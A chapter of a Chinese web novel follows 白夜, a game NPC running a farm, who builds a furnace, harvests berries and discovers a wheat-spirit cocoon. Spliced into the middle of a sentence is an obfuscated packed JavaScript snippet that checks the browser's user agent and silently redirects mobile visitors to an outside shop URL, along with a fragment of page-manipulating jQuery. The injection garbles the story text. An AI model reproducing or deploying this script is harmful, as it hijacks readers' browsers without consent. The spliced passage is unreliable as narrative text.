信息科研站台的配方有些复杂。
5份金属矿锭,20份石料,5份木材——必须是木材,而非小份木料。
这一点白夜倒是可以理解,虽然本质上木料和木材都是同一种物质,但毕竟小木棍和大树物理状态的区别还是很大的。
其中石料可以用石材来代替,需求量会减少为石料的四分之一。另外自己已经解锁熔炉图纸,所以金属矿锭也有了获得途径。
唯一难办的是木材,树林的位置虽然已经知晓,但毕竟是在红雾区,距离似乎还不算近,也不知道什么时候农场能够扩张到那边。
关上系统面板,白夜先去农场边缘被红雾电上几秒,这才回屋开店。
他坐在椅子上,睁着眼睛,思维却逐渐开始放空,缓慢地进入一种近乎待机的休眠状态。
白夜向来擅长等待。
游戏还在制作时,他所见到的,不是尚未完成的简易贴图,就是完全不能互动不能进入的未开放游戏区域。
三年的制作时间内,同事们不会对他做出回应,自己接触过有自我意识的生物,只有游戏的制作者们。
这听起来似乎并不值得夸耀,但白夜本人却不觉得无趣,因为世界每天都在发生变化,总是有东西被修改,又有新的东西被填充。
唯一算得上不知该如何度过的,反而是他的开店时间。
因为游戏机制的原因,NPC的行程不会被切分得太细,白夜必须整日都待在店内,目的是避免玩家到来时找不到可互动的商人。
农产品商店的内部设计他很满意,但在同一个地方待着,还始终保持着清醒的思维,是很累的事。
况且这样也很消耗能量。
白夜曾经做过一个测试,同等条件下,自己在清醒状态下时,他所在电脑的耗电功率普遍在450w至500w左右,而自己进入类似待机的模式,平均能耗则大约降至350w。
测试员们通常不会注意到这点小事,不过白夜做过换算,按照制作组所在百川市的商业用电标准,自己每清醒一天,会给他们增加三到四块钱的额外开支。
这个数据以人类的标准来说不算很贵,但是看在制作者们经常在群聊里为经费发愁的份上,还是体谅他们一下好了。
总而言之,因为各种主观以及客观的原因,白夜养成了没事干就待着不动,节约能量的习惯。
主要是省电费。
这一个月来白夜大部分时间都处待机状态,和昨晚听到的那句不明消息倒是有异曲同工之妙。
按照以往,这种状态下几乎听不到声音,毕竟直到昨天之前,整个农场里会发出声音的,也就只有他自己而已。
然而今天却显然不同,小鸟扑扇翅膀的声音,它们叽叽喳喳的叫声,风吹动树叶发出的沙沙声,一切都清晰无比地传入白夜耳中。
闭着眼睛的状态反而令听觉更为敏锐,他甚至都能分清到底是几只小鸟,都落在了院子的哪块土地上。
白夜忍不住睁开了眼睛。
木屋坐北朝南,采光十分充足,门窗前后通透,将外面的景色一览无余。
朝阳灿烂,打在生命之树张牙舞爪的树冠上,在下方投下一片斑驳的亮影。青翠的茂盛枝叶背后是碧蓝如洗的澄澈天空,远方飘着两团白云,看起来蓬松又柔软。
靠近湖泊的地方,几只身子细长、翅膀透明、整体五颜六色的昆虫停留在芦苇般的杂草之上,风一吹,又扇着翅膀飞到草丛的背后去了。
白夜见过制作组电脑上的资料,知道这种昆虫叫做蜻蜓。
他走到了门边,视线范围内仍然可以看见农场的隐形边界。外面的红雾扭曲盘旋,将全部土地都染上了一层仿佛看着就会令人烦躁的暗红。
如此明媚的农场,就像是被人从环境极好的地方,硬生生切下来一块空间,强行放在了这里一样。
木屋门边的地上长起了一蓬一蓬低矮的野花,几只蝴蝶在其中飞来飞去,白夜向它们伸出手,先接住的,却是一缕曦光。
好温暖。
他将整个手臂都伸了出去,阳光透过袖子,带来了和手掌不同的温度。白夜沉默片刻,最终还是没有选择走出门去。
现在是上班时间。
他的工作将从整个上午一直持续到傍晚,周而复始,不应该改变。
***
下班之后,白夜首先来到了湖边。
现在整个湖岸线的范围已经扩大许多,周边完全被清理出来,只留下一些低矮的杂草作为风景点缀。
凭着一种莫名的感觉,白夜来到一处低矮灌木,拨开枝桠和泥土表层的些许枯枝败叶,翻出来一块黄铁矿。
之前为了制作东西,白夜仔细寻找过附近,没想到还有漏网之鱼。
这一块并不算是结束,他沉下心来仔细感应了几秒,就在几步远的地方蹲下,伸手入水,在湖底又捞出来一块铁矿。
白夜没有浪费时间,很快在岸边一连找到8块矿石。
今天醒来之后他就发现了,自己对整个农场的掌控程度直线上升,这片土地在某种意义上就像是他精神力的延伸,只要用精神感应,就能大致在脑内勾勒出一个3D模型,相对具体地呈现出土地上的物体。
哪怕不在自己视线范围内也可以。
这种神奇的功能毫无疑问是种下生命之树带来的影响,昨天的成就奖励叫做同调,他原本还不太明白其含义,不过现在已经有些理解。
背包里还有3块黄铁矿,加上刚刚捡到的8块,这就是目前农场里的全部资源了。
理论上来说黄铁矿不适合用来精炼铁锭,它的产物为原来矿物的二分之一,这在图鉴上有所标明。但现在也没有别的铁类原矿,只能暂时先凑合用。
白夜回到木屋前方,在木屋的左上角约五米远的地方,平整出一片空地,拿出了重塑魔杖。
炼铁需要的时间较长,今天就不看特效,早点开工吧。
图纸中所建造的熔炉无法移动,白夜已经想好,之后就将左上角这片地方作为工业区域。
他拿出20份石材摆在地上。
这种简单的工业建筑,就连图纸也简单得不可思议,材料只需要堆在地上,然后在边缘画上一圈土元素以及火元素的符文串即可。
有了重塑魔杖,绘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17926542|213547||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
制符文的工作已经不必自己手动完成,白夜施展出魔法,那些石料很快在白光中融化变形,自动垒筑成一个整体拱形,下方带着开口,上方伸出一根烟囱的形状。
这种一目了然的结构,内部能够达到的温度有限,原理并不是将金属融化重铸,而是将它们从氧化状态还原为纯度较高的单质。
因此目前的熔炉只能用来精炼性质简单的金属氧化物,例如铁类铜类的原矿,或者可以用来烧制木炭。至于强度更高的魔法矿物,或者合金类,都是无法制造的。
不过不管怎么说,对于现在的自己也够用了。
炼制粗铁不需要更高效的燃料,用现在的普通小木棍即可。
白夜一次投入10块黄铁矿,在周围添加了60根小份木料,达到需求的60点燃烧值之后,拿出5块石料使用重塑魔法封口,又在熔炉外侧画了一些火元素以及风元素的符文。
魔法的力量会辅助火焰燃烧,保持炉子里整体温度恒定,比普通精炼的效率要高上许多。
做完这些之后,白夜来到自己一开始开垦的田地上。
作物在生命之树的神秘力量下一夜全部成熟,带来的好处是这可持续收获的作物们成熟日期总算是凑到了一块。
他开始采摘莓果。
收获总是令人开心的,唯一麻烦的是莓果不能用镰刀收割,一颗一颗摘取实在是有些耗时间。
白夜眼前不断弹出经验增加的提示,在收获完前面三株莓果之后,叮咚一声,农业技能终于升到了5级。
下一级需要490点经验,把后面那片地收完就又能升上一级。
带着几分愉悦,白夜来到后方的农田,然而很快他就发现了不对——这里的农作物都叶子耷拉,精神萎靡。
怎么回事?
青禾草已经收了最后一茬,现在田里种着两格莓果和四格麦粒,白夜动用起同调的模糊感应,只能得到一些眼前这些植物有些虚弱的信息。
测了温度和水分,都处于植物的舒适范围内,白夜在田垄上蹲下,一株一株查看起植株的情况。
它们的外观并没有什么变化,常见的黑斑、腐叶之类的病害都未出现,白夜也没看到什么虫害的迹象,诸如虫子排泄物、啃食痕迹一并没有。
他甚至拔起了一整根的小麦植株,确定它根系正常,以及下面也没有什么昆虫虫卵之类的。
白夜难得皱起了眉头。
农场里的资源目前只有这些作物可以持续再生,它们出问题的话,那就麻烦了。
沉吟数秒,白夜闭上眼,进入魔力流动的视野。
魔法植物本身也有魔力流动,不过只能说是十分轻微。空气中是漫天的淡绿色光点,而作物身上则是淡到几乎看不见的蓝色萤光。
观察片刻,白夜终于在农田正中心的小麦根部发现了异样:
在那里,有着一颗小小的,蓝色的茧。
当然,这是魔力视野,自然视野里它就只是淡黄色的小凸起,和周围的麦秆完全融为一体。
白夜拿出信息魔杖扫描,几秒之后就得知了它的名称:
【速生小麦精灵幼体。】